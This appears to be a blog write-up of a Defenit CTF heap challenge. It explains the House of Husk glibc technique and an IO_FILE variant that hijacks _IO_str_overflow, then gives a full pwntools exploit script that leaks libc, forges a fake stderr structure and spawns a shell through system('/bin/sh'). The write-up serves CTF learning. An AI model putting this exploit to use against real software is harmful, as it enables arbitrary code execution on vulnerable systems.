2020 Definit CTF heap challenge. After the game I read about three different ways of exploitation. So amazing.
House of Husk to modify _IO_str_overflow
House of Husk
The original article explains the technique quite clearly. I’m going to rephrase it in my words to get a better understanding. You should go to the above link and check out the PoC first before reading this article. I’m not including much code from PoC but definitely referenced a lot.
House of Husk first requires an unsorted bin attack. This attack cannot write arbitrarily to any address, but it can write a large value (0x7f……) to an arbitrary address. The goal is to write to global_max_fast
. This defines the maximum size of fastbin.
Unlike tcache bins are stored on the heap, for each size, fastbins are stored in the main_arena. If two 0x20 and two 0x30 chunks are freed into the fastbins, the layout from pwndbg would be like this:
fastbins
0x20: 0x0
0x30: 0x5555557565d0 —▸ 0x555555756560 ◂— 0x0
0x40: 0x555555756600 —▸ 0x555555756590 ◂— 0x0
...
And in the main_arena, it would be like this:
pwndbg> x/6xg 0x7ffff7dcfc40
0x7ffff7dcfc40 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ffff7dcfc50 <main_arena+16>: 0x0000000000000000 0x00005555557565d0
0x7ffff7dcfc60 <main_arena+32>: 0x0000555555756600 0x0000000000000000
You can see that the size will be translated to an offset inside libc.
0x30: main_arena + 0x18
0x40: main_arena + 0x20
THEREFORE:
0x50: main_arena + 0x28
n : main_arena + n/2
Recall that we’ve changed global_max_fast
to a huge value, meaning that any chunk would be placed into “fastbin”, even if exceeds the legal size. So we can write a chunk’s address to any address after main_arena.
Next is to find out how to utilize this write. In the article, yudai used __printf_arginfo_table
and __printf_function_table
. In short, if __printf_function_table
is not NULL, __printf_arginfo_table
will be called. All you have to do is fake a __printf_arginfo_table
on the heap to trigger the one_gadget.
I’m not quite familiar with how printf really works, but the following describes the key process of House of Husk.
In glibc, users can actually define their own format string rule.
// stdio-common/reg-printf.c
int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo){
if (__printf_function_table == NULL){
__printf_arginfo_table = (printf_arginfo_size_function **) calloc(UCHAR_MAX + 1, sizeof (void *) * 2);
__printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
return result;
}
I deleted some error checks here. Parameter spec
is the format specifier. For example if it’s 0x41 then the new rule you are setting is %A. The other parameters are two function addresses.
So the function first calloc an area to be __printf_arginfo_table
that contains __printf_function_table
. And two function parameters are set at __printf_function_table[spec]
and __printf_arginfo_table[spec]
.
Now let’s see vfprintf()
// stdio-common/vfprintf.c
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
If __printf_function_table
is set, functions in the __printf_function_table
will be invoked. In a normal case, __printf_function_table
should be set by the __register_printf_specifier
, but here we write it directly.
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
Next printf_positional
is called. Inside printf_positional
, __parse_one_specmb
will be called.
// stdio-common/printf-parsemb.c
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0){
...
}
The execution is the 4th condition. In order to get there, the first 3 conditions has to be False.
In the 4th condition, (*__printf_arginfo_table[spec->info.spec])
will be called and (&spec->info, 1, &spec->data_arg_type, &spec->size))
will be passed as a parameter, but this doesn’t really matter as we’re using one_gadget.
Thanks to yudai again so that we don’t have to calculate all the offsets.
A variant of House of Husk can do a ROP. It’s called Loona’s method and is included in the link above. I will try to understand this and write a blog someday.
References (but in Chinese):
pwn 34C3CTF2017 readme_revenge
Normal House of Husk
Infektion from FireShell This writeup has a complete exp.py. The challenge is pretty identical to the House of Husk PoC, so I won’t repeat the process again. But interestingly, yudai has also played the CTF and he thought only 3 chunks can be allocated, which is not doable using the normal House of Husk. So he used IO_FILE to do it and I will try to explain the process next.
House of Husk to modify _IO_str_overflow
I suppose you understood how to write to addresses beyond main_arena from House of Husk. Here, yudai only used 3 chunks to getshell: first one to leak libc address and the fd can be corrupted for later unsorted bin attack; second one to fake a IO_FILE struct; third one to do the unsorted bin attack.
When exiting the program using exit(), _IO_cleanup
will be called.
int _IO_cleanup (void){
int result = _IO_flush_all_lockp (0);
_IO_unbuffer_all ();
return result;
}
We don’t really care about locks, as the two functions basically do the same thing.
static void _IO_unbuffer_all (void){
struct _IO_FILE *fp;
for (fp = (_IO_FILE *) _IO_list_all; fp; fp = fp->_chain)
{
if (! (fp->_flags & _IO_UNBUFFERED) && fp->_mode != 0){
if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
{
// we dont want this
}
_IO_SETBUF (fp, NULL, 0);
...
I’m not sure why “we don’t want this”, but for the fake IO_FILE struct, here’re some constraints:
fp->_flags & _IO_UNBUFFERED == 1
The second condition can be any if the first is already 0, or we can ignore the _flags but change _mode inside the FILE.
Second, the following path is troublesome.
Again, I’m not sure why do we want to avoid this. But to avoid this, ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF)
needs to be set 0.
We cannot change _IO_USER_BUF
since this allows us to be here. Fortunately dealloc_buffers
is a global variable and can be overwritten.
Here’s the smart part: we can set the size of the first chunk to overwrite it.
How beautiful the solution is. Every slightest detail is used to exploit.
This is the script I modified to adapt pwntools, as he’s using ptrlib.
References (again, in Chinese):
from pwn import *
def debug():
print pidof(sock)
pause()
def malloc(index, size):
sock.sendlineafter("CHOICE? : ", "1")
sock.sendlineafter("? : ", str(index))
sock.sendlineafter("? : ", str(size))
def free(index):
sock.sendlineafter("CHOICE? : ", "2")
sock.sendlineafter("? : ", str(index))
def edit(index, data):
sock.sendlineafter("CHOICE? : ", "3")
sock.sendlineafter("? : ", str(index))
sock.sendafter("DATA : ", data)
def view(index):
sock.sendlineafter("CHOICE? : ", "4")
sock.sendlineafter("? : ", str(index))
sock.recvuntil("DATA : ")
return sock.recvline()
libc = ELF("./libc-2.27.so")
sock = process("./errorProgram", aslr=True, level="debug")
# sock = Socket("error-program.ctf.defenit.kr", 7777)
global_max_fast = 0x3ed940
dealloc_buffers = 0x3ed888
sock.sendlineafter("CHOICE? : ", "3")
# leak libc
#size = 0x1800-8
size = 0x3880 # offset2size(dealloc_buffers - fastbin)
malloc(0, size)
malloc(1, 0x1430) # offset2size(_IO_list_all - fastbin)
free(0)
libc_base = u64(view(0)[:8]) - libc.symbols['__realloc_hook'] - 0x18 - 0x60
print hex(libc_base)
# logger.info("libc = " + hex(libc_base))
# prepare fake stderr
new_size = libc_base + next(libc.search("/bin/sh"))
payload = p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64((new_size - 100) // 2) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.symbols["_IO_2_1_stdout_"])
payload += p64(3) + p64(0)
payload += p64(0) + p64(libc_base + 0x3ed8c0)
payload += p64((1 << 64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 3
payload += p64(0xffffffff)
payload += p64(0) * 2
payload += p64(libc_base + 0x3e8360 - 0x40) # _IO_str_jumps - 0x40
payload += p64(libc_base + libc.symbols["system"])
# payload += p64(libc_base + 0x4f322)
# this also works!
edit(1, payload)
# house of husk
edit(0, p64(0) + p64(libc_base + global_max_fast - 0x10))
malloc(2, size)
print hex(new_size)
print hex((new_size - 100) // 2)
free(1)
free(2)
sock.sendlineafter("? : ", "5")
# debug()
sock.sendlineafter("? : ", "4")
sock.interactive()